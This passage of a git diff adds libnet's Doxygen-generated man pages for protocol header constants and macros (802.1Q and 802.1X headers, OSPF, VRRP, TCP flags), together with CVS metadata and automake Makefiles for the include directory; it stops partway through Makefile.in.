+.RI "#define \fBLIBNET_RPC_LAST_FRAG\fP 0x80000000"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROGRAM\fP 100000"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_NULL\fP 0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_SET\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_UNSET\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_GETADDR\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_DUMP\fP 4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_CALLIT\fP 5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_BCAST\fP 5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_GETTIME\fP 6"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_UADDR2TADDR\fP 7"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_TADDR2UADDR\fP 8"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_GETVERSADDR\fP 9"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_INDIRECT\fP 10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_GETADDRLIST\fP 11"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PMAP_PROC_GETSTAT\fP 12"
+.br
+.ti -1c
+.RI "#define \fBTH_FIN\fP 0x01"
+.br
+.ti -1c
+.RI "#define \fBTH_SYN\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBTH_RST\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBTH_PUSH\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBTH_ACK\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBTH_URG\fP 0x20"
+.br
+.ti -1c
+.RI "#define \fBTH_ECE\fP 0x40"
+.br
+.ti -1c
+.RI "#define \fBTH_CWR\fP 0x80"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_TOKEN_RING_FRAME\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_TOKEN_RING_LLC_FRAME\fP 0x40"
+.br
+.ti -1c
+.RI "#define \fBTOKEN_RING_TYPE_IP\fP 0x0800"
+.br
+.ti -1c
+.RI "#define \fBTOKEN_RING_TYPE_ARP\fP 0x0806"
+.br
+.ti -1c
+.RI "#define \fBTOKEN_RING_TYPE_REVARP\fP 0x8035"
+.br
+.ti -1c
+.RI "#define \fBSEBEK_PROTO_VERSION\fP 1"
+.br
+.ti -1c
+.RI "#define \fBSEBEK_TYPE_READ\fP 0"
+.br
+.ti -1c
+.RI "#define \fBSEBEK_TYPE_WRITE\fP 1"
+.br
+.ti -1c
+.RI "#define \fBSEBEK_CMD_LENGTH\fP 12"
+.br
+.ti -1c
+.RI "#define \fBIPPROTO_VRRP\fP 112"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_VRRP_VERSION_01\fP 0x1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_VRRP_VERSION_02\fP 0x2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_VRRP_TYPE_ADVERT\fP 0x1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_VRRP_AUTH_NONE\fP 0x1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_VRRP_AUTH_PASSWD\fP 0x2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_VRRP_AUTH_IPAH\fP 0x3"
+.br
+.in -1c
+.SH "Detailed Description"
+.PP
+libnet header information
+
+
+.SH "Define Documentation"
+.PP
+.SS "#define LIBNET_802_1Q_CFIMASK 0x0001"
+.PP
+CFI mask
+.SS "#define LIBNET_802_1Q_H 0x12"
+.PP
+802.1Q header: 18 bytes
+.SS "#define LIBNET_802_1Q_PRIMASK 0x0007"
+.PP
+priority mask
+.SS "#define LIBNET_802_1Q_VIDMASK 0x0fff"
+.PP
+vid mask
+.SS "#define LIBNET_802_1X_ENCASFAL 0x04"
+.PP
+802.1x encasfal
+.SS "#define LIBNET_802_1X_H 0x04"
+.PP
+802.1X header: 4 bytes
+.SS "#define LIBNET_802_1X_KEY 0x03"
+.PP
+802.1x key
+.SS "#define LIBNET_802_1X_LOGOFF 0x02"
+.PP
+802.1x logoff
+.SS "#define LIBNET_802_1X_PACKET 0x00"
+.PP
+802.1x packet
+.SS "#define LIBNET_802_1X_START 0x01"
+.PP
+802.1x start
+.SS "#define LIBNET_802_2_H 0x03"
+.PP
+802.2 LLC header: 3 bytes
+.SS "#define LIBNET_802_2SNAP_H 0x08"
+.PP
+802.2 LLC/SNAP header:8 bytes
+.SS "#define LIBNET_802_3_H 0x0e"
+.PP
+802.3 header: 14 bytes
+.SS "#define LIBNET_ARP_ETH_IP_H 0x1c"
+.PP
+ARP w/ ETH and IP: 28 bytes
+.SS "#define LIBNET_ARP_H 0x08"
+.PP
+ARP header w/o addrs: 8 bytes
+.SS "#define LIBNET_BGP4_HEADER_H 0x13"
+.PP
+BGP header: 19 bytes
+.SS "#define LIBNET_BGP4_NOTIFICATION_H 0x02"
+.PP
+BGP notif. header: 2 bytes
+.SS "#define LIBNET_BGP4_OPEN_H 0x0a"
+.PP
+BGP open header: 10 bytes
+.SS "#define LIBNET_BGP4_UPDATE_H 0x04"
+.PP
+BGP open header: 4 bytes
+.SS "#define LIBNET_CDP_H 0x08"
+.PP
+CDP header base: 8 bytes
+.SS "#define LIBNET_DHCPV4_H 0xf0"
+.PP
+DHCP v4 header: 240 bytes
+.SS "#define LIBNET_ETH_H 0x0e"
+.PP
+Ethernet header: 14 bytes
+.SS "#define LIBNET_FDDI_H 0x15"
+.PP
+FDDI header: 21 bytes
+.SS "#define LIBNET_GRE_H 0x04"
+.PP
+GRE header: 4 bytes
+.SS "#define LIBNET_GRE_SRE_H 0x04"
+.PP
+GRE SRE header: 4 bytes
+.SS "#define LIBNET_ICMPV4_ECHO_H 0x08"
+.PP
+ICMP_ECHO header: 8 bytes
+.SS "#define LIBNET_ICMPV4_H 0x04"
+.PP
+ICMP header base: 4 bytes
+.SS "#define LIBNET_ICMPV4_MASK_H 0x0c"
+.PP
+ICMP_MASK header: 12 bytes
+.SS "#define LIBNET_ICMPV4_REDIRECT_H 0x08"
+.PP
+ICMP_REDIRECT header: 8 bytes
+.SS "#define LIBNET_ICMPV4_TIMXCEED_H 0x08"
+.PP
+ICMP_TIMXCEED header: 8 bytes
+.SS "#define LIBNET_ICMPV4_TS_H 0x14"
+.PP
+ICMP_TIMESTAMP headr:20 bytes
+.SS "#define LIBNET_ICMPV4_UNREACH_H 0x08"
+.PP
+ICMP_UNREACH header: 8 bytes
+.SS "#define LIBNET_ICMPV6_H 0x08"
+.PP
+ICMP6 header base: 8 bytes
+.SS "#define LIBNET_IGMP_H 0x08"
+.PP
+IGMP header: 8 bytes
+.SS "#define LIBNET_IPSEC_AH_H 0x10"
+.PP
+IPSEC AH header: 16 bytes
+.SS "#define LIBNET_IPSEC_ESP_FTR_H 0x02"
+.PP
+IPSEC ESP footer: 2 bytes
+.SS "#define LIBNET_IPSEC_ESP_HDR_H 0x0c"
+.PP
+IPSEC ESP header: 12 bytes
+.SS "#define LIBNET_IPV4_H 0x14"
+.PP
+IPv4 header: 20 bytes
+.SS "#define LIBNET_IPV6_DESTOPTS_H 0x02"
+.PP
+IPv6 dest opts base: 2 bytes
+.SS "#define LIBNET_IPV6_FRAG_H 0x08"
+.PP
+IPv6 frag header: 8 bytes
+.SS "#define LIBNET_IPV6_H 0x28"
+.PP
+IPv6 header: 40 bytes
+.SS "#define LIBNET_IPV6_HBHOPTS_H 0x02"
+.PP
+IPv6 hop/hop opt base:2 bytes
+.SS "#define LIBNET_IPV6_ROUTING_H 0x04"
+.PP
+IPv6 frag header base:4 bytes
+.SS "#define LIBNET_ISL_H 0x1a"
+.PP
+ISL header: 26 bytes
+.SS "#define LIBNET_MPLS_H 0x04"
+.PP
+MPLS header: 4 bytes
+.SS "#define LIBNET_NTP_H 0x30"
+.PP
+NTP header: 48 bytes
+.SS "#define LIBNET_OSPF_AUTH_H 0x08"
+.PP
+OSPF AUTH header: 8 bytes
+.SS "#define LIBNET_OSPF_CKSUM 0x10"
+.PP
+OSPF CKSUM header: 16 bytes
+.SS "#define LIBNET_OSPF_DBD_H 0x08"
+.PP
+OSPF DBD header: 8 bytes
+.SS "#define LIBNET_OSPF_H 0x10"
+.PP
+OSPF header: 16 bytes
+.SS "#define LIBNET_OSPF_HELLO_H 0x18"
+.PP
+OSPF hello header: 24 bytes
+.SS "#define LIBNET_OSPF_LS_AS_EXT_H 0x10"
+.PP
+OSPF LS AS header: 16 bytes
+.SS "#define LIBNET_OSPF_LS_NET_H 0x08"
+.PP
+OSPF LS NET header: 8 bytes
+.SS "#define LIBNET_OSPF_LS_RTR_H 0x10"
+.PP
+OSPF LS RTR header: 16 bytes
+.SS "#define LIBNET_OSPF_LS_SUM_H 0x0c"
+.PP
+OSPF LS SUM header: 12 bytes
+.SS "#define LIBNET_OSPF_LSA_H 0x14"
+.PP
+OSPF LSA header: 20 bytes
+.SS "#define LIBNET_OSPF_LSR_H 0x0c"
+.PP
+OSPF LSR header: 12 bytes
+.SS "#define LIBNET_OSPF_LSU_H 0x04"
+.PP
+OSPF LSU header: 4 bytes
+.SS "#define LIBNET_RIP_H 0x18"
+.PP
+RIP header base: 24 bytes
+.SS "#define LIBNET_RPC_CALL_H 0x28"
+.PP
+RPC header: 40 bytes (assuming 8 byte auth header)
+.SS "#define LIBNET_RPC_CALL_TCP_H 0x2c"
+.PP
+RPC header: 44 bytes (with record marking)
+.SS "#define LIBNET_STP_CONF_H 0x23"
+.PP
+STP conf header: 35 bytes
+.SS "#define LIBNET_STP_TCN_H 0x04"
+.PP
+STP tcn header: 4 bytes
+.SS "#define LIBNET_TCP_DNSV4_H 0x0e"
+.PP
+TCP DNS v4 header: 14 bytes
+.SS "#define LIBNET_TCP_H 0x14"
+.PP
+TCP header: 20 bytes
+.SS "#define LIBNET_TOKEN_RING_H 0x16"
+.PP
+Token Ring header: 22 bytes
+.SS "#define LIBNET_UDP_DNSV4_H 0x0c"
+.PP
+UDP DNS v4 header: 12 bytes
+.SS "#define LIBNET_UDP_H 0x08"
+.PP
+UDP header: 8 bytes
+.SS "#define LIBNET_VRRP_H 0x08"
+.PP
+VRRP header: 8 bytes
+.SH "Author"
+.PP
+Generated automatically by Doxygen for libnet from the source code.
diff --git a/libnet/doc/man/man3/libnet-macros.h.3 b/libnet/doc/man/man3/libnet-macros.h.3
new file mode 100644
index 0000000..ac99aa2
--- /dev/null
+++ b/libnet/doc/man/man3/libnet-macros.h.3
@@ -0,0 +1,172 @@
+.TH "libnet-macros.h" 3 "10 Mar 2004" "libnet" \" -*- nroff -*-
+.ad l
+.nh
+.SH NAME
+libnet-macros.h \- libnet macros and symbloc constants
+
+.SH SYNOPSIS
+.br
+.PP
+.SS "Defines"
+
+.in +1c
+.ti -1c
+.RI "#define \fBLIBNET_DONT_RESOLVE\fP 0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RESOLVE\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ON\fP 0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OFF\fP 1"
+.br
+.ti -1c
+.RI "#define \fBIN6ADDR_ERROR_INIT\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PR2\fP 0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PR8\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PR16\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PRu16\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PR32\fP 4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PRu32\fP 5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PRAND_MAX\fP 0xffffffff"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_MAX_PACKET\fP 0xffff"
+.br
+.ti -1c
+.RI "#define \fBIP_MAXPACKET\fP 0xffff"
+.br
+.ti -1c
+.RI "#define \fBETHER_ADDR_LEN\fP 0x6"
+.br
+.ti -1c
+.RI "#define \fBFDDI_ADDR_LEN\fP 0x6"
+.br
+.ti -1c
+.RI "#define \fBTOKEN_RING_ADDR_LEN\fP 0x6"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ORG_CODE_SIZE\fP 0x3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ERRBUF_SIZE\fP 0x100"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_MAXOPTION_SIZE\fP 0x28"
+.br
+.ti -1c
+.RI "#define \fBFIX\fP(n) (n)"
+.br
+.ti -1c
+.RI "#define \fBUNFIX\fP(n) (n)"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CKSUM_CARRY\fP(x) (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_AUTHCPY\fP(x, y) memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y))"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_CKSUMBUF\fP(x, y) memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y))"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_DO_LI_VN_MODE\fP(li, vn, md) ((u_int8_t)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ISLOOPBACK\fP(p) (strcmp((p)->ifr_name, 'lo0') == 0)"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_ISADVMODE\fP(x) (x & 0x08)"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LABEL_SIZE\fP 64"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LABEL_DEFAULT\fP 'cardshark'"
+.br
+.ti -1c
+.RI "#define \fBCQ_LOCK_UNLOCKED\fP (u_int)0x00000000"
+.br
+.ti -1c
+.RI "#define \fBCQ_LOCK_READ\fP (u_int)0x00000001"
+.br
+.ti -1c
+.RI "#define \fBCQ_LOCK_WRITE\fP (u_int)0x00000002"
+.br
+.ti -1c
+.RI "#define \fBfor_each_context_in_cq\fP(l) for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next())"
+.br
+.ti -1c
+.RI "#define \fBcq_is_wlocked\fP() (l_cqd.cq_lock & CQ_LOCK_WRITE)"
+.br
+.ti -1c
+.RI "#define \fBcq_is_rlocked\fP() (l_cqd.cq_lock & CQ_LOCK_READ)"
+.br
+.ti -1c
+.RI "#define \fBcq_is_locked\fP() (l_cqd.cq_lock & (CQ_LOCK_READ | CQ_LOCK_WRITE))"
+.br
+.ti -1c
+.RI "#define \fBcheck_cq_lock\fP(x) (l_cqd.cq_lock & x)"
+.br
+.in -1c
+.SH "Detailed Description"
+.PP
+libnet macros and symbloc constants
+
+
+.SH "Define Documentation"
+.PP
+.SS "#define for_each_context_in_cq(l) for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next())"
+.PP
+Provides an interface to iterate through the context queue of libnet contexts. Before calling this macro, be sure to set the queue using \fBlibnet_cq_head()\fP.
+.SS "#define IN6ADDR_ERROR_INIT"
+.PP
+\fBValue:\fP.nf
+{ { { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
+ 0xff, 0xff } } }
+.fi
+IPv6 error code
+.SS "#define LIBNET_DONT_RESOLVE 0"
+.PP
+Used for libnet's name resolution functions, specifies that no DNS lookups should be performed and the IP address should be kept in numeric form.
+.SS "#define LIBNET_ERRBUF_SIZE 0x100"
+.PP
+The libnet error buffer is 256 bytes long.
+.SS "#define LIBNET_MAX_PACKET 0xffff"
+.PP
+The biggest an IP packet can be -- 65,535 bytes.
+.SS "#define LIBNET_MAXOPTION_SIZE 0x28"
+.PP
+IP and TCP options can be up to 40 bytes long.
+.SS "#define LIBNET_OFF 1"
+.PP
+Used several places, to specify 'on' or 'one'
+.SS "#define LIBNET_ON 0"
+.PP
+Used several places, to specify 'on' or 'one'
+.SS "#define LIBNET_PR2 0"
+.PP
+Used for \fBlibnet_get_prand()\fP to specify function disposition
+.SS "#define LIBNET_RESOLVE 1"
+.PP
+Used for libnet's name resolution functions, specifies that a DNS lookup can be performed if needed to resolve the IP address to a canonical form.
+.SH "Author"
+.PP
+Generated automatically by Doxygen for libnet from the source code.
diff --git a/libnet/doc/man/man3/libnet.h.3 b/libnet/doc/man/man3/libnet.h.3
new file mode 100644
index 0000000..5b55107
--- /dev/null
+++ b/libnet/doc/man/man3/libnet.h.3
@@ -0,0 +1,17 @@
+.TH "libnet.h" 3 "10 Mar 2004" "libnet" \" -*- nroff -*-
+.ad l
+.nh
+.SH NAME
+libnet.h \- toplevel libnet header file
+
+.SH SYNOPSIS
+.br
+.PP
+.SH "Detailed Description"
+.PP
+toplevel libnet header file
+
+
+.SH "Author"
+.PP
+Generated automatically by Doxygen for libnet from the source code.
diff --git a/libnet/doc/man/man3/libnet_802_1q_hdr.3 b/libnet/doc/man/man3/libnet_802_1q_hdr.3
new file mode 100644
index 0000000..93a8ae3
--- /dev/null
+++ b/libnet/doc/man/man3/libnet_802_1q_hdr.3
@@ -0,0 +1,53 @@
+.TH "libnet_802_1q_hdr" 3 "10 Mar 2004" "libnet" \" -*- nroff -*-
+.ad l
+.nh
+.SH NAME
+libnet_802_1q_hdr \-
+.SH SYNOPSIS
+.br
+.PP
+\fC#include <libnet-headers.h>\fP
+.PP
+.SS "Data Fields"
+
+.in +1c
+.ti -1c
+.RI "u_int8_t \fBvlan_dhost\fP [ETHER_ADDR_LEN]"
+.br
+.ti -1c
+.RI "u_int8_t \fBvlan_shost\fP [ETHER_ADDR_LEN]"
+.br
+.ti -1c
+.RI "u_int16_t \fBvlan_tpi\fP"
+.br
+.ti -1c
+.RI "u_int16_t \fBvlan_priority_c_vid\fP"
+.br
+.ti -1c
+.RI "u_int16_t \fBvlan_len\fP"
+.br
+.in -1c
+.SH "Detailed Description"
+.PP
+IEEE 802.1Q (Virtual Local Area Network) VLAN header, static header size: 18 bytes
+.SH "Field Documentation"
+.PP
+.SS "u_int8_t \fBlibnet_802_1q_hdr::vlan_dhost\fP[ETHER_ADDR_LEN]"
+.PP
+destination ethernet address
+.SS "u_int16_t \fBlibnet_802_1q_hdr::vlan_len\fP"
+.PP
+length or type (802.3 / Eth 2)
+.SS "u_int16_t \fBlibnet_802_1q_hdr::vlan_priority_c_vid\fP"
+.PP
+priority | VLAN ID
+.SS "u_int8_t \fBlibnet_802_1q_hdr::vlan_shost\fP[ETHER_ADDR_LEN]"
+.PP
+source ethernet address
+.SS "u_int16_t \fBlibnet_802_1q_hdr::vlan_tpi\fP"
+.PP
+tag protocol ID
+
+.SH "Author"
+.PP
+Generated automatically by Doxygen for libnet from the source code.
diff --git a/libnet/doc/man/man3/libnet_802_1x_hdr.3 b/libnet/doc/man/man3/libnet_802_1x_hdr.3
new file mode 100644
index 0000000..c4289cc
--- /dev/null
+++ b/libnet/doc/man/man3/libnet_802_1x_hdr.3
@@ -0,0 +1,41 @@
+.TH "libnet_802_1x_hdr" 3 "10 Mar 2004" "libnet" \" -*- nroff -*-
+.ad l
+.nh
+.SH NAME
+libnet_802_1x_hdr \-
+.SH SYNOPSIS
+.br
+.PP
+\fC#include <libnet-headers.h>\fP
+.PP
+.SS "Data Fields"
+
+.in +1c
+.ti -1c
+.RI "u_int8_t \fBdot1x_version\fP"
+.br
+.ti -1c
+.RI "u_int8_t \fBdot1x_type\fP"
+.br
+.ti -1c
+.RI "u_int16_t \fBdot1x_length\fP"
+.br
+.in -1c
+.SH "Detailed Description"
+.PP
+IEEE 802.1X EAP (Extensible Authentication Protocol) header, static header size: 4 bytes
+.SH "Field Documentation"
+.PP
+.SS "u_int16_t \fBlibnet_802_1x_hdr::dot1x_length\fP"
+.PP
+total frame length
+.SS "u_int8_t \fBlibnet_802_1x_hdr::dot1x_type\fP"
+.PP
+frame type
+.SS "u_int8_t \fBlibnet_802_1x_hdr::dot1x_version\fP"
+.PP
+protocol version
+
+.SH "Author"
+.PP
+Generated automatically by Doxygen for libnet from the source code.
diff --git a/libnet/include/CVS/Entries b/libnet/include/CVS/Entries
new file mode 100644
index 0000000..11472d5
--- /dev/null
+++ b/libnet/include/CVS/Entries
@@ -0,0 +1,10 @@
+/Makefile.am/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/bpf.h/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/gnuc.h/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/ifaddrlist.h/1.2/Tue Sep 23 22:36:54 2003//
+/stamp-h.in/1.1.1.1/Thu Jun 26 21:55:10 2003//
+D/libnet////
+D/win32////
+/config.h.in/1.11/Fri Jan 16 10:13:40 2004//
+/libnet.h.in/1.5/Sat Jan 17 07:51:19 2004//
+/Makefile.in/1.13/Thu Mar 11 18:50:20 2004//
diff --git a/libnet/include/CVS/Repository b/libnet/include/CVS/Repository
new file mode 100644
index 0000000..4ec92b7
--- /dev/null
+++ b/libnet/include/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/include
diff --git a/libnet/include/CVS/Root b/libnet/include/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/include/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/include/Makefile.am b/libnet/include/Makefile.am
new file mode 100644
index 0000000..5cea26e
--- /dev/null
+++ b/libnet/include/Makefile.am
@@ -0,0 +1,7 @@
+# $Id: Makefile.am,v 1.1.1.1 2003/06/26 21:55:10 route Exp $
+
+include $(top_srcdir)/Makefile.am.common
+
+include_HEADERS = libnet.h
+
+SUBDIRS = libnet
diff --git a/libnet/include/Makefile.in b/libnet/include/Makefile.in
new file mode 100644
index 0000000..10565b8
--- /dev/null
+++ b/libnet/include/Makefile.in
@@ -0,0 +1,395 @@
+# Makefile.in generated by automake 1.6.3 from Makefile.am.
+# @configure_input@
+
+# Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002
+# Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# $Id: Makefile.in,v 1.13 2004/03/11 18:50:20 mike Exp $
+
+# $Id: Makefile.in,v 1.13 2004/03/11 18:50:20 mike Exp $
+#
+# Libnet automake information file
+# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+# All rights reserved.
+#
+SHELL = @SHELL@
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+prefix = @prefix@
+exec_prefix = @exec_prefix@
+
+bindir = @bindir@
+sbindir = @sbindir@
+libexecdir = @libexecdir@
+datadir = @datadir@
+sysconfdir = @sysconfdir@
+sharedstatedir = @sharedstatedir@
+localstatedir = @localstatedir@
+libdir = @libdir@
+infodir = @infodir@
+mandir = @mandir@
+includedir = @includedir@
+oldincludedir = /usr/include
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+
+ACLOCAL = @ACLOCAL@
+AUTOCONF = @AUTOCONF@
+AUTOMAKE = @AUTOMAKE@
+AUTOHEADER = @AUTOHEADER@
+
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_DATA = @INSTALL_DATA@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = @program_transform_name@
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_alias = @build_alias@
+build_triplet = @build@
+host_alias = @host_alias@
+host_triplet = @host@
+target_alias = @target_alias@
+target_triplet = @target@
+
+EXEEXT = @EXEEXT@
+OBJEXT = @OBJEXT@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+ADDITIONAL_LIBS = @ADDITIONAL_LIBS@
+AMTAR = @AMTAR@
+AWK = @AWK@
+CC = @CC@
+DEPDIR = @DEPDIR@
+ENDIANESS = @ENDIANESS@
+HAVE_PACKET_SOCKET = @HAVE_PACKET_SOCKET@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LIBNET_CONFIG_CFLAGS = @LIBNET_CONFIG_CFLAGS@
+LIBNET_CONFIG_DEFINES = @LIBNET_CONFIG_DEFINES@
+LIBNET_CONFIG_LIBS = @LIBNET_CONFIG_LIBS@
+LIBNET_VERSION = @LIBNET_VERSION@
+MAINT = @MAINT@
+PACKAGE = @PACKAGE@
+RANLIB = @RANLIB@
+STRIP = @STRIP@
+VERSION = @VERSION@
+am__include = @am__include@
+am__quote = @am__quote@
+install_sh = @install_sh@
+
+AUTOMAKE_OPTIONS = foreign no-dependencies
+
+DISTCLEANFILES = *~
+
+include_HEADERS = libnet.h
+
+SUBDIRS = libnet
+subdir = include
+mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs
+CONFIG_HEADER = config.h
+CONFIG_CLEAN_FILES = libnet.h
+depcomp =
+am__depfiles_maybe =
+DIST_SOURCES =
+HEADERS = $(include_HEADERS)
+
+
+RECURSIVE_TARGETS = info-recursive dvi-recursive install-info-recursive \
+ uninstall-info-recursive all-recursive install-data-recursive \
+ install-exec-recursive installdirs-recursive install-recursive \
+ uninstall-recursive check-recursive installcheck-recursive
+DIST_COMMON = $(include_HEADERS) Makefile.am Makefile.in config.h.in \
+ libnet.h.in
+DIST_SUBDIRS = $(SUBDIRS)
+all: config.h
+ $(MAKE) $(AM_MAKEFLAGS) all-recursive
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ Makefile.am $(top_srcdir)/Makefile.am.common $(top_srcdir)/configure.in $(ACLOCAL_M4)
+ cd $(top_srcdir) && \
+ $(AUTOMAKE) --foreign include/Makefile
+Makefile: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.in $(top_builddir)/config.status
+ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)
+
+config.h: stamp-h1
+ @if test ! -f $@; then \
+ rm -f stamp-h1; \
+ $(MAKE) stamp-h1; \
+ else :; fi
+
+stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status
+ @rm -f stamp-h1
+ cd $(top_builddir) && $(SHELL) ./config.status include/config.h
+
+$(srcdir)/config.h.in: @MAINTAINER_MODE_TRUE@ $(top_srcdir)/configure.in $(ACLOCAL_M4) $(top_srcdir)/acconfig.h
+ cd $(top_srcdir) && $(AUTOHEADER)
+ touch $(srcdir)/config.h.in
+
+distclean-hdr:
+ -rm -f config.h stamp-h1
+libnet.h: $(top_builddir)/config.status libnet.h.in
+ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@
+uninstall-info-am:
+includeHEADERS_INSTALL = $(INSTALL_HEADER)
+install-includeHEADERS: $(include_HEADERS)
+ @$(NORMAL_INSTALL)
+ $(mkinstalldirs) $(DESTDIR)$(includedir)
+ @list='$(include_HEADERS)'; for p in $$list; do \
+ if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
+ f="`echo $$p | sed -e 's|^.*/||'`"; \
+ echo " $(includeHEADERS_INSTALL) $$d$$p $(DESTDIR)$(includedir)/$$f"; \
+ $(includeHEADERS_INSTALL) $$d$$p $(DESTDIR)$(includedir)/$$f; \
+ done
+
+uninstall-includeHEADERS:
+ @$(NORMAL_UNINSTALL)
+ @list='$(include_HEADERS)'; for p in $$list; do \
+ f="`echo $$p | sed -e 's|^.*/||'`"; \
+ echo " rm -f $(DESTDIR)$(includedir)/$$f"; \
+ rm -f $(DESTDIR)$(includedir)/$$f; \
+ done
+
+# This directory's subdirectories are mostly independent; you can cd
+# into them and run `make' without going through this Makefile.
+# To change the values of `make' variables: instead of editing Makefiles,
+# (1) if the variable is set in `config.status', edit `config.status'
+# (which will cause the Makefiles to be regenerated when you run `make');
+# (2) otherwise, pass the desired values on the `make' command line.
+$(RECURSIVE_TARGETS):
+ @set fnord $$MAKEFLAGS; amf=$$2; \
+ dot_seen=no; \
+ target=`echo $@ | sed s/-recursive//`; \
+ list='$(SUBDIRS)'; for subdir in $$list; do \
+ echo "Making $$target in $$subdir"; \
+ if test "$$subdir" = "."; then \
+ dot_seen=yes; \
+ local_target="$$target-am"; \
+ else \
+ local_target="$$target"; \
+ fi; \
+ (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+ || case "$$amf" in *=*) exit 1;; *k*) fail=yes;; *) exit 1;; esac; \
+ done; \
+ if test "$$dot_seen" = "no"; then \
+ $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \
+ fi; test -z "$$fail"
+
